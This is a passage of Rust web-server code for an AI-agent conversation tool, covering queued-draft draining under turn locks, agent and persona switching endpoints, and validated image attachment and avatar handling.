7989/// call, and `talk_say`'s busy path, when it reclaims a slot the previous
7990/// holder just gave up - see the comment at that call site.
7991///
7992/// The release is folded into the final generation check under `turn`'s own
7993/// lock - the same lock [`Ui::begin_talk_turn`] takes to decide "busy or
7994/// free". Before its blocking `talk::drain`, this loop observes the queued
7995/// generation. A `say` that sees the turn busy writes its draft, then advances
7996/// that generation. Thus, if it lands while the drain is in flight, the final
7997/// check observes the advance and drains again; otherwise it releases the
7998/// claim while holding the same lock. This keeps the release/arrival handoff
7999/// atomic without holding the global claim mutex across filesystem I/O.
8000async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
8001    drain_loop_started(talk, talks, cfg, id, turn, None).await;
8002}
8003
8004/// A settings response must not report idle while its claim is still held.
8005/// Wait until the first drain either releases the claim or promotes a draft.
8006/// The task owns the guard even if the HTTP handler is cancelled while waiting.
8007async fn settle_settings_turn(
8008    talk: Talk,
8009    talks: Talks,
8010    cfg: Config,
8011    id: String,
8012    turn: TalkTurnGuard,
8013    observed: u64,
8014) -> bool {
8015    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
8016        let turns = Arc::clone(&turn.turns);
8017        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
8018        if live.queued.get(&id).copied().unwrap_or(0) == observed {
8019            // Release under the arrival lock; a later `/say` takes its own claim.
8020            turn.release(&mut live);
8021            return false;
8022        }
8023    }
8024    let (started, settled) = tokio::sync::oneshot::channel();
8025    tokio::spawn(drain_loop_started(
8026        talk,
8027        talks,
8028        cfg,
8029        id,
8030        turn,
8031        Some(started),
8032    ));
8033    settled.await.unwrap_or(false)
8034}
8035
8036async fn drain_loop_started(
8037    mut talk: Talk,
8038    talks: Talks,
8039    cfg: Config,
8040    id: String,
8041    turn: TalkTurnGuard,
8042    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
8043) {
8044    let live_set = Arc::clone(&turn.turns);
8045    // `Option` rather than binding `turn` directly to a `_turn` that lives
8046    // for the whole function: releasing it has to happen by calling
8047    // `TalkTurnGuard::release` from inside the locked branch below, which
8048    // takes `self` by value. Left as a plain drop instead, `Drop` would still
8049    // remove the id - correctly, if this loop is ever left some other way -
8050    // but doing it there misses the lock this loop is already holding, which
8051    // is the exact gap `release` exists to close.
8052    let mut turn = Some(turn);
8053    loop {
8054        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
8055            // The lease was taken over while a turn ran. Whatever is queued
8056            // stays a draft; running it here would race the new owner.
8057            tracing::warn!("talk {id} lost its turn lease; not draining further");
8058            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8059            if let Some(turn) = turn.take() {
8060                turn.release(&mut live);
8061            }
8062            break;
8063        }
8064        {
8065            // A parking upgrade starts no further turn: whatever is queued
8066            // stays a durable draft for the successor.
8067            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8068            if live.parking {
8069                if let Some(turn) = turn.take() {
8070                    turn.release(&mut live);
8071                }
8072                break;
8073            }
8074        }
8075        // `talk::drain` takes the store lock and can write/rename the talk
8076        // file. Keep the turn mutex out of that synchronous work: it protects
8077        // every talk's in-memory claim, not this talk's disk operation.
8078        let observed = live_set
8079            .lock()
8080            .unwrap_or_else(PoisonError::into_inner)
8081            .queued
8082            .get(&id)
8083            .copied()
8084            .unwrap_or(0);
8085        let drained = blocking({
8086            let talks = talks.clone();
8087            let live_set = Arc::clone(&live_set);
8088            move || {
8089                // Promoting a draft is what starts a turn, so it is decided
8090                // under the same lock a parking upgrade takes: either the
8091                // promotion lands first (and its turn is waited for) or the
8092                // draft stays queued.
8093                let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8094                let result = if live.parking {
8095                    Ok(None)
8096                } else {
8097                    talk::drain(&mut talk, &talks)
8098                };
8099                drop(live);
8100                Ok((talk, result))
8101            }
8102        })
8103        .await;
8104        let (next_talk, result) = match drained {
8105            Ok(drained) => drained,
8106            Err(e) => {
8107                tracing::warn!(
8108                    status = %e.status,
8109                    message = %e.message,
8110                    "talk {id} could not start queued-text drain"
8111                );
8112                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8113                turn.take()
8114                    .expect("held for the whole loop until released here")
8115                    .release(&mut live);
8116                break;
8117            }
8118        };
8119        talk = next_talk;
8120        let drained = match result {
8121            Ok(Some(drained)) => drained,
8122            Ok(None) => {
8123                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8124                if live.queued.get(&id).copied().unwrap_or(0) != observed {
8125                    continue;
8126                }
8127                turn.take()
8128                    .expect("held for the whole loop until released here")
8129                    .release(&mut live);
8130                break;
8131            }
8132            Err(e) => {
8133                tracing::warn!("talk {id} could not drain queued text: {e:#}");
8134                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8135                turn.take()
8136                    .expect("held for the whole loop until released here")
8137                    .release(&mut live);
8138                break;
8139            }
8140        };
8141        if let Some(started) = started.take() {
8142            let _ = started.send(true);
8143        }
8144        let responded = match turn.as_ref() {
8145            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
8146            None => Err(anyhow::anyhow!("the turn guard was released")),
8147        };
8148        if let Err(e) = responded {
8149            tracing::warn!("talk {id} turn failed: {e:#}");
8150        }
8151    }
8152    drop(turn);
8153    if let Some(started) = started {
8154        let _ = started.send(false);
8155    }
8156}
8157
8158/// Clear a queued draft only if it remains exactly the one the caller saw.
8159async fn talk_pending_clear(
8160    State(ui): State<Arc<Ui>>,
8161    Path(id): Path<String>,
8162    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
8163) -> ApiResult<Json<TalkView>> {
8164    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8165    blocking(move || {
8166        let id = resolve_talk(&ui.talks, &id)?;
8167        let mut talk = ui.talks.get(&id)?;
8168        if !talk.status.open() {
8169            return Err(ApiError::conflict(format!(
8170                "talk {} is {} and takes no more turns",
8171                talk.short(),
8172                talk.status.as_str()
8173            )));
8174        }
8175        if !talk::clear_pending_if_matches(
8176            &mut talk,
8177            &ui.talks,
8178            &body.expected_text,
8179            &body.expected_attachments,
8180        )? {
8181            return Err(ApiError::conflict(
8182                "queued message changed; reload it before clearing",
8183            ));
8184        }
8185        let thinking = ui.is_thinking(&talk.id);
8186        Ok(Json(TalkView::new(talk, thinking, &ui.home)))
8187    })
8188    .await
8189}
8190
8191/// Atomically edit a queued draft's text while preserving its attachments.
8192/// The snapshot fields make a concurrent queue or drain a conflict rather
8193/// than silently discarding either message.
8194async fn talk_pending_edit(
8195    State(ui): State<Arc<Ui>>,
8196    Path(id): Path<String>,
8197    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
8198) -> ApiResult<Json<TalkView>> {
8199    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8200    let (view, reclaimed) = blocking({
8201        let ui = Arc::clone(&ui);
8202        move || {
8203            let id = resolve_talk(&ui.talks, &id)?;
8204            let mut talk = ui.talks.get(&id)?;
8205            if !talk.status.open() {
8206                return Err(ApiError::conflict(format!(
8207                    "talk {} is {} and takes no more turns",
8208                    talk.short(),
8209                    talk.status.as_str()
8210                )));
8211            }
8212            if !talk::edit_pending_message(
8213                &mut talk,
8214                &ui.talks,
8215                &body.text,
8216                &body.expected_text,
8217                &body.expected_attachments,
8218                body.message,
8219            )? {
8220                return Err(ApiError::conflict(
8221                    "queued message changed; reload it before editing",
8222                ));
8223            }
8224            let claim = match ui.begin_queued_talk_turn(&id)? {
8225                Some(turn_guard) => {
8226                    let (cfg, _) = Config::discover(&talk.repo, None)?;
8227                    Some((talk.clone(), cfg, id.clone(), turn_guard))
8228                }
8229                None => None,
8230            };
8231            let thinking = ui.is_thinking(&id);
8232            Ok((TalkView::new(talk, thinking, &ui.home), claim))
8233        }
8234    })
8235    .await?;
8236    if let Some((talk, cfg, id, turn_guard)) = reclaimed {
8237        let talks = ui.talks.clone();
8238        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8239    }
8240    Ok(Json(view))
8241}
8242
8243/// The 409 for a talk that takes no more turns.
8244fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
8245    if talk.status.open() {
8246        return Ok(());
8247    }
8248    Err(ApiError::conflict(format!(
8249        "talk {} is {} and takes no more turns",
8250        talk.short(),
8251        talk.status.as_str()
8252    )))
8253}
8254
8255/// The body of `POST /api/talks/{id}/agent`.
8256#[derive(Debug, Deserialize)]
8257struct TalkAgent {
8258    agent: String,
8259}
8260
8261/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
8262/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
8263/// start a turn on the old session between the check and the write; one that
8264/// arrives in that window finds the talk busy and becomes a draft.
8265async fn talk_agent(
8266    State(ui): State<Arc<Ui>>,
8267    Path(id): Path<String>,
8268    Json(body): Json<TalkAgent>,
8269) -> ApiResult<Json<TalkView>> {
8270    let id = {
8271        let ui = Arc::clone(&ui);
8272        blocking(move || resolve_talk(&ui.talks, &id)).await?
8273    };
8274    let repo = {
8275        let ui = Arc::clone(&ui);
8276        let id = id.clone();
8277        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8278    };
8279    let cfg = config_for(&repo).await?;
8280    // Refuse before taking the claim; see `talk_implementers`.
8281    {
8282        let ui = Arc::clone(&ui);
8283        let id = id.clone();
8284        let cfg = cfg.clone();
8285        let wanted = body.agent.clone();
8286        blocking(move || {
8287            agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
8288                .map_err(ApiError::bad_request_from)?;
8289            refuse_if_closed(&ui.talks.get(&id)?)
8290        })
8291        .await?;
8292    }
8293    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8294        return Err(ApiError::conflict(
8295            "a talk turn is running; change the agent once it has answered",
8296        ));
8297    };
8298    let switched = {
8299        let ui = Arc::clone(&ui);
8300        let id = id.clone();
8301        let cfg = cfg.clone();
8302        blocking(move || {
8303            let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
8304                .map_err(ApiError::bad_request_from)?;
8305            let mut talk = ui.talks.get(&id)?;
8306            if !talk.status.open() {
8307                return Err(ApiError::conflict(format!(
8308                    "talk {} is {} and takes no more turns",
8309                    talk.short(),
8310                    talk.status.as_str()
8311                )));
8312            }
8313            talk::switch_agent(&mut talk, &ui.talks, &spec)?;
8314            Ok(talk)
8315        })
8316        .await
8317    };
8318    // A `/say` that landed while this held the claim saw the talk busy and
8319    // left a durable draft, trusting the claim's owner to drain it. So the
8320    // claim is settled whatever the outcome. Release an empty draft's claim
8321    // before replying; queued drafts continue independently of the handler.
8322    let observed = ui.queued_generation(&id);
8323    let fresh = {
8324        let ui = Arc::clone(&ui);
8325        let id = id.clone();
8326        blocking(move || Ok(ui.talks.get(&id)?)).await
8327    };
8328    let draining = match fresh {
8329        Ok(talk) => {
8330            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8331        }
8332        Err(_) => false,
8333    };
8334    let talk = switched?;
8335    Ok(Json(TalkView::new(talk, draining, &ui.home)))
8336}
8337
8338/// The body of `POST /api/talks/{id}/persona`.
8339#[derive(Debug, Deserialize)]
8340struct TalkPersona {
8341    persona: String,
8342}
8343
8344/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
8345/// like [`talk_agent`]: the turn guard is held for the change and always handed
8346/// to `drain_loop`, so a draft left meanwhile is not stranded.
8347async fn talk_persona(
8348    State(ui): State<Arc<Ui>>,
8349    Path(id): Path<String>,
8350    Json(body): Json<TalkPersona>,
8351) -> ApiResult<Json<TalkView>> {
8352    let id = {
8353        let ui = Arc::clone(&ui);
8354        blocking(move || resolve_talk(&ui.talks, &id)).await?
8355    };
8356    let repo = {
8357        let ui = Arc::clone(&ui);
8358        let id = id.clone();
8359        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8360    };
8361    let cfg = config_for(&repo).await?;
8362    // Refuse before taking the claim; see `talk_implementers`.
8363    {
8364        let ui = Arc::clone(&ui);
8365        let id = id.clone();
8366        let cfg = cfg.clone();
8367        let wanted = body.persona.clone();
8368        blocking(move || {
8369            if persona::find(&cfg.talk.personas, &wanted).is_none() {
8370                return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
8371            }
8372            refuse_if_closed(&ui.talks.get(&id)?)
8373        })
8374        .await?;
8375    }
8376    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8377        return Err(ApiError::conflict(
8378            "a talk turn is running; change the persona once it has answered",
8379        ));
8380    };
8381    let switched = {
8382        let ui = Arc::clone(&ui);
8383        let id = id.clone();
8384        let cfg = cfg.clone();
8385        blocking(move || {
8386            let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
8387                return Err(ApiError::bad_request(format!(
8388                    "unknown persona `{}`",
8389                    body.persona
8390                )));
8391            };
8392            let mut talk = ui.talks.get(&id)?;
8393            if !talk.status.open() {
8394                return Err(ApiError::conflict(format!(
8395                    "talk {} is {} and takes no more turns",
8396                    talk.short(),
8397                    talk.status.as_str()
8398                )));
8399            }
8400            talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
8401            Ok(talk)
8402        })
8403        .await
8404    };
8405    // As in `talk_agent`: settle the claim before replying, even on refusal.
8406    let observed = ui.queued_generation(&id);
8407    let fresh = {
8408        let ui = Arc::clone(&ui);
8409        let id = id.clone();
8410        blocking(move || Ok(ui.talks.get(&id)?)).await
8411    };
8412    let draining = match fresh {
8413        Ok(talk) => {
8414            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8415        }
8416        Err(_) => false,
8417    };
8418    let talk = switched?;
8419    Ok(Json(TalkView::new(talk, draining, &ui.home)))
8420}
8421
8422/// The body of `POST /api/talks/{id}/implementers`.
8423#[derive(Debug, Deserialize)]
8424struct TalkImplementers {
8425    implementers: u8,
8426}
8427
8428/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
8429/// like [`talk_agent`]: the turn guard is held for the change and always handed
8430/// to `drain_loop`, so a draft left meanwhile is not stranded.
8431async fn talk_implementers(
8432    State(ui): State<Arc<Ui>>,
8433    Path(id): Path<String>,
8434    Json(body): Json<TalkImplementers>,
8435) -> ApiResult<Json<TalkView>> {
8436    let id = {
8437        let ui = Arc::clone(&ui);
8438        blocking(move || resolve_talk(&ui.talks, &id)).await?
8439    };
8440    let repo = {
8441        let ui = Arc::clone(&ui);
8442        let id = id.clone();
8443        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8444    };
8445    let cfg = config_for(&repo).await?;
8446    // Refuse a request that cannot succeed before taking the claim: a claim
8447    // taken for it is handed to `drain_loop`, which holds the talk busy for a
8448    // moment, so a refusal would make the next request see "busy" instead of
8449    // its own answer. The checks after the claim stay the ones that decide.
8450    {
8451        let ui = Arc::clone(&ui);
8452        let id = id.clone();
8453        let cfg = cfg.clone();
8454        let wanted = body.implementers;
8455        blocking(move || {
8456            talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
8457            refuse_if_closed(&ui.talks.get(&id)?)
8458        })
8459        .await?;
8460    }
8461    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8462        return Err(ApiError::conflict(
8463            "a talk turn is running; change the implementers once it has answered",
8464        ));
8465    };
8466    let switched = {
8467        let ui = Arc::clone(&ui);
8468        let id = id.clone();
8469        let cfg = cfg.clone();
8470        blocking(move || {
8471            let chosen =
8472                talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
8473            let mut talk = ui.talks.get(&id)?;
8474            if !talk.status.open() {
8475                return Err(ApiError::conflict(format!(
8476                    "talk {} is {} and takes no more turns",
8477                    talk.short(),
8478                    talk.status.as_str()
8479                )));
8480            }
8481            talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
8482            Ok(talk)
8483        })
8484        .await
8485    };
8486    // As in `talk_agent`: settle the claim before replying, even on refusal.
8487    let observed = ui.queued_generation(&id);
8488    let fresh = {
8489        let ui = Arc::clone(&ui);
8490        let id = id.clone();
8491        blocking(move || Ok(ui.talks.get(&id)?)).await
8492    };
8493    let draining = match fresh {
8494        Ok(talk) => {
8495            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8496        }
8497        Err(_) => false,
8498    };
8499    let talk = switched?;
8500    Ok(Json(TalkView::new(talk, draining, &ui.home)))
8501}
8502
8503/// `POST /api/talks/{id}/close`.
8504async fn talk_close(
8505    State(ui): State<Arc<Ui>>,
8506    Path(id): Path<String>,
8507) -> ApiResult<Json<TalkView>> {
8508    blocking(move || {
8509        let id = resolve_talk(&ui.talks, &id)?;
8510        let mut talk = ui.talks.get(&id)?;
8511        talk::close(&mut talk, &ui.talks)?;
8512        let thinking = ui.is_thinking(&talk.id);
8513        Ok(Json(TalkView::new(talk, thinking, &ui.home)))
8514    })
8515    .await
8516}
8517
8518/// `POST /api/talks/{id}/reopen`.
8519async fn talk_reopen(
8520    State(ui): State<Arc<Ui>>,
8521    Path(id): Path<String>,
8522) -> ApiResult<Json<TalkView>> {
8523    blocking(move || {
8524        let id = resolve_talk(&ui.talks, &id)?;
8525        let mut talk = ui.talks.get(&id)?;
8526        talk::reopen(&mut talk, &ui.talks)?;
8527        let thinking = ui.is_thinking(&talk.id);
8528        Ok(Json(TalkView::new(talk, thinking, &ui.home)))
8529    })
8530    .await
8531}
8532
8533/// `DELETE /api/talks/{id}`.
8534///
8535/// Removes the conversation's record and artifacts outright, unlike
8536/// [`talk_close`] which keeps the record as history. A turn already in
8537/// flight is not refused here the way [`run_delete`] refuses a live run:
8538/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
8539/// under [`Talks::guard`], that the record they are about to write back is
8540/// still there, so a delete racing a turn is safe without this route having
8541/// to know a turn is running at all.
8542async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
8543    blocking(move || {
8544        let id = resolve_talk(&ui.talks, &id)?;
8545        ui.talks.remove(&id)?;
8546        Ok(StatusCode::NO_CONTENT)
8547    })
8548    .await
8549}
8550
8551/// Expand an id or short id to exactly one talk id.
8552fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
8553    pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
8554}
8555
8556/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
8557/// future `talk-say`.
8558async fn talk_attachment_post(
8559    State(ui): State<Arc<Ui>>,
8560    Path(id): Path<String>,
8561    headers: HeaderMap,
8562    body: Bytes,
8563) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
8564    let mime = validate_attachment(&headers, &body)?;
8565    let name = filename_header(&headers);
8566    let data = body.to_vec();
8567    blocking(move || {
8568        let id = resolve_talk(&ui.talks, &id)?;
8569        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
8570        Ok((StatusCode::CREATED, Json(att)))
8571    })
8572    .await
8573}
8574
8575/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
8576/// `<img>` tag in the transcript.
8577async fn talk_attachment_get(
8578    State(ui): State<Arc<Ui>>,
8579    Path((id, att)): Path<(String, String)>,
8580) -> ApiResult<Response> {
8581    blocking(move || {
8582        let id = resolve_talk(&ui.talks, &id)?;
8583        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
8584            return Err(ApiError::not_found(format!(
8585                "talk {id} has no attachment `{att}`"
8586            )));
8587        };
8588        Ok(attachment_response(&meta.mime, data))
8589    })
8590    .await
8591}
8592
8593/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
8594/// the icon setting, so changing it changes the URL.
8595fn avatar_url(talk_id: &str, p: &persona::Persona) -> String {
8596    let mut id = String::new();
8597    for b in p.id.bytes() {
8598        if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
8599            id.push(char::from(b));
8600        } else {
8601            id.push_str(&format!("%{b:02X}"));
8602        }
8603    }
8604    format!(
8605        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
8606        persona_icon::fingerprint(p.icon.as_deref())
8607    )
8608}
8609
8610#[derive(Debug, Default, Deserialize)]
8611struct AvatarQuery {
8612    persona: Option<String>,
8613    /// Set by the page after the first load failed: skip the `icon`.
8614    builtin: Option<String>,
8615}
8616
8617/// Served with every built-in avatar: it is an image, so nothing else may run.
8618const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
8619
8620fn builtin_avatar(id: &str) -> Response {
8621    svg_avatar(persona_icon::builtin_svg(id))
8622}
8623
8624async fn operator_avatar() -> Response {
8625    svg_avatar(persona_icon::operator_svg())
8626}
8627
8628fn svg_avatar(svg: &'static str) -> Response {
8629    (
8630        [
8631            (header::CONTENT_TYPE, "image/svg+xml"),
8632            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8633            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
8634            (header::CACHE_CONTROL, "no-cache"),
8635        ],
8636        svg,
8637    )
8638        .into_response()
8639}
8640
8641// The global MAGI icon is deliberately independent of repository configuration.
8642fn magi_icon_path(home: &FsPath) -> PathBuf {
8643    home.join("magi-icon.data")
8644}
8645
8646fn read_magi_icon(home: &FsPath) -> Option<String> {
8647    let path = magi_icon_path(home);
8648    let metadata = std::fs::metadata(&path).ok()?;
8649    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
8650        return None;
8651    }
8652    let file = std::fs::File::open(path).ok()?;
8653    use std::io::Read;
8654    let mut text = String::new();
8655    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
8656        .read_to_string(&mut text)
8657        .ok()?;
8658    if text.len() > persona_icon::ICON_MAX_BYTES {
8659        return None;
8660    }
8661    text.starts_with("data:").then_some(text)
8662}
8663
8664fn magi_icon_url(home: &FsPath) -> String {
8665    format!(
8666        "/avatars/magi?v={}",
8667        persona_icon::fingerprint(read_magi_icon(home).as_deref())
8668    )
8669}
8670
8671async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
8672    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
8673}
8674
8675#[derive(Deserialize)]
8676struct MagiIconUpload {
8677    icon: String,
8678}
8679
8680fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
8681    if !icon.starts_with("data:") {
8682        anyhow::bail!("upload a raster image");
8683    }
8684    let (mime, bytes) = persona_icon::load(icon)?;
8685    if sniffed_mime(&bytes) != Some(mime) {
8686        anyhow::bail!("image content does not match its type");
8687    }
8688    std::fs::create_dir_all(home)?;
8689    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
8690    let temp = home.join(format!(".magi-icon-{token}.tmp"));
8691    let result = (|| -> Result<()> {
8692        use std::io::Write;
8693        let mut file = std::fs::OpenOptions::new()
8694            .write(true)
8695            .create_new(true)
8696            .open(&temp)?;
8697        file.write_all(icon.as_bytes())?;
8698        file.sync_all()?;
8699        std::fs::rename(&temp, magi_icon_path(home))?;
8700        Ok(())
8701    })();
8702    let _ = std::fs::remove_file(temp);
8703    result?;
8704    Ok(())
8705}
8706
8707async fn magi_icon_put(
8708    State(ui): State<Arc<Ui>>,
8709    Json(upload): Json<MagiIconUpload>,
8710) -> ApiResult<Json<serde_json::Value>> {
8711    blocking(move || {
8712        if !upload.icon.starts_with("data:") {
8713            return Err(ApiError::bad_request("upload a raster image"));
8714        }
8715        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
8716        if sniffed_mime(&bytes) != Some(mime) {
8717            return Err(ApiError::bad_request(
8718                "image content does not match its type",
8719            ));
8720        }
8721        save_magi_icon(&ui.home, &upload.icon)?;
8722        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
8723    })
8724    .await
8725}
8726
8727async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8728    blocking(move || {
8729        match std::fs::remove_file(magi_icon_path(&ui.home)) {
8730            Ok(()) => (),
8731            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
8732            Err(e) => return Err(anyhow::Error::from(e).into()),
8733        }
8734        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
8735    })
8736    .await
8737}
8738
8739async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
8740    let icon = (q.builtin.is_none())
8741        .then(|| read_magi_icon(&ui.home))
8742        .flatten();
8743    let mut response = match icon
8744        .as_deref()
8745        .and_then(|icon| persona_icon::load(icon).ok())
8746    {
8747        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
8748            attachment_response(mime, bytes)
8749        }
8750        _ => svg_avatar(persona_icon::magi_svg()),
8751    };
8752    response
8753        .headers_mut()
8754        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
8755    response
8756}
8757
8758/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
8759/// operator's raster `icon` when it resolves and its bytes agree with its
8760/// type, the built-in SVG otherwise. Display only; every failure is a warning
8761/// and the built-in avatar, never an error response.
8762async fn talk_avatar(
8763    State(ui): State<Arc<Ui>>,
8764    Path(id): Path<String>,
8765    Query(q): Query<AvatarQuery>,
8766) -> ApiResult<Response> {
8767    blocking(move || {
8768        let id = resolve_talk(&ui.talks, &id)?;
8769        let talk = ui.talks.get(&id)?;
8770        let wanted = q
8771            .persona
8772            .as_deref()
8773            .map(str::trim)
8774            .filter(|p| !p.is_empty())
8775            .unwrap_or(&talk.persona)
8776            .to_owned();
8777        let specs = match Config::discover(&talk.repo, None) {
8778            Ok((cfg, _)) => cfg.talk.personas,
8779            Err(e) => {
8780                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
8781                Vec::new()
8782            }
8783        };
8784        let Some(found) = persona::find(&specs, &wanted) else {
8785            return Ok(builtin_avatar(persona::DEFAULT_ID));
8786        };
8787        let Some(icon) = found.icon.as_deref().filter(|_| q.builtin.is_none()) else {
8788            return Ok(builtin_avatar(&found.id));
8789        };
8790        match persona_icon::load(icon) {
8791            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
8792                let mut res = attachment_response(mime, bytes);
8793                res.headers_mut().insert(
8794                    header::CACHE_CONTROL,
8795                    header::HeaderValue::from_static("no-cache"),
8796                );
8797                Ok(res)
8798            }
8799            Ok((mime, _)) => {
8800                tracing::warn!(
8801                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
8802                    found.id
8803                );
8804                Ok(builtin_avatar(&found.id))
8805            }
8806            Err(e) => {
8807                tracing::warn!(
8808                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
8809                    found.id
8810                );
8811                Ok(builtin_avatar(&found.id))
8812            }
8813        }
8814    })
8815    .await
8816}
8817
8818/// Validate an attachment upload's declared `Content-Type` and the bytes
8819/// themselves, returning the canonical mime on success.
8820///
8821/// Two checks, both required: the header has to name one of
8822/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
8823/// simply never in the list, active content rather than a picture, the same
8824/// exclusion [`asset_content_type`]'s doc explains), and the file's own
8825/// magic number has to agree. The second is what stops a mislabeled upload -
8826/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
8827/// a declared type is a claim, not a fact, so it is never trusted alone.
8828fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
8829    if data.len() > ATTACHMENT_MAX_BYTES {
8830        return Err(ApiError::bad_request(format!(
8831            "attachment is {} bytes, over the {} MiB limit",
8832            data.len(),
8833            ATTACHMENT_MAX_BYTES / (1024 * 1024)
8834        ))
8835        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
8836    }
8837    if data.is_empty() {
8838        return Err(ApiError::bad_request("attachment is empty"));
8839    }
8840    let declared = declared_mime(headers)?;
8841    match sniffed_mime(data) {
8842        Some(sniffed) if sniffed == declared => Ok(declared),
8843        Some(sniffed) => Err(ApiError::bad_request(format!(
8844            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
8845        ))),
8846        None => Err(ApiError::bad_request(
8847            "the file's bytes do not match any accepted image format",
8848        )),
8849    }
8850}
8851
8852/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
8853/// and nothing else - parameters like `; charset=` are stripped, but the
8854/// value itself is not otherwise interpreted.
8855fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
8856    let raw = headers
8857        .get(header::CONTENT_TYPE)
8858        .and_then(|v| v.to_str().ok())
8859        .unwrap_or("")
8860        .split(';')
8861        .next()
8862        .unwrap_or("")
8863        .trim()
8864        .to_ascii_lowercase();
8865    ATTACHMENT_MIME_WHITELIST
8866        .iter()
8867        .find(|&&m| m == raw)
8868        .copied()
8869        .ok_or_else(|| {
8870            if raw == "image/svg+xml" {
8871                ApiError::bad_request(
8872                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
8873                     not just a picture",
8874                )
8875            } else if raw.is_empty() {
8876                ApiError::bad_request("Content-Type is required for an attachment upload")
8877            } else {
8878                ApiError::bad_request(format!(
8879                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
8880                     image/gif or image/webp"
8881                ))
8882            }
8883        })
8884}
8885
8886/// Identify an image by its magic number, independent of whatever
8887/// `Content-Type` claimed.
8888fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
8889    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
8890        Some("image/png")
8891    } else if data.starts_with(b"\xff\xd8\xff") {
8892        Some("image/jpeg")
8893    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
8894        Some("image/gif")
